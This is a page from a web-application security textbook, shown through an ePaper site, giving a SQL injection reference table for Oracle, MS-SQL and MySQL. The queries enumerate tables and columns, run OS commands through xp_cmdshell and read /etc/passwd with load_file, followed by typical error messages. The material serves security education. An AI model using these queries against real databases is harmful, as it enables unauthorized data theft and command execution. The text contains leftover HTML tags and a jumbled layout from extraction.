19.09.2017 Views

the-web-application-hackers-handbook

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

334 Chapter 9 n Attacking Data Stores<br />

(continued)<br />

Requirement:<br />

Oracle:<br />

Show user tables<br />

SELECT object_name, object_type FROM user_objects<br />

WHERE object_type=’TABLE’<br />

Or to show all tables to which <strong>the</strong> user has access:<br />

SELECT table_name FROM all_tables<br />

MS-SQL:<br />

MySQL:<br />

SELECT name FROM sysobjects WHERE xtype=’U’<br />

SELECT table_name FROM information_schema.<br />

tables where table_type=’BASE TABLE’ and<br />

table_schema!=’mysql’<br />

Requirement:<br />

Oracle:<br />

Show column names for table foo<br />

SELECT column_name, name FROM user_tab_columns<br />

WHERE table_name = ‘FOO’<br />

Use <strong>the</strong> ALL_tab_columns table if <strong>the</strong> target data is not owned<br />

by <strong>the</strong> current <strong>application</strong> user.<br />

MS-SQL:<br />

MySQL:<br />

SELECT column_name FROM information_schema.columns<br />

WHERE table_name=’foo’<br />

SELECT column_name FROM information_schema.columns<br />

WHERE table_name=’foo’<br />

Requirement: Interact with <strong>the</strong> operating system (simplest ways)<br />

Oracle: See The Oracle Hacker’s Handbook by David Litchfield<br />

MS-SQL: EXEC xp_cmshell ‘dir c:\ ‘<br />

MySQL: SELECT load_file(‘/etc/passwd’)<br />

SQL Error Messages<br />

Oracle: ORA-01756: quoted string not properly terminated<br />

ORA-00933: SQL command not properly ended<br />

MS-SQL: Msg 170, Level 15, State 1, Line 1<br />

Line 1: Incorrect syntax near ‘foo’<br />

Msg 105, Level 15, State 1, Line 1<br />

Unclosed quotation mark before <strong>the</strong> character string<br />

‘foo’

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!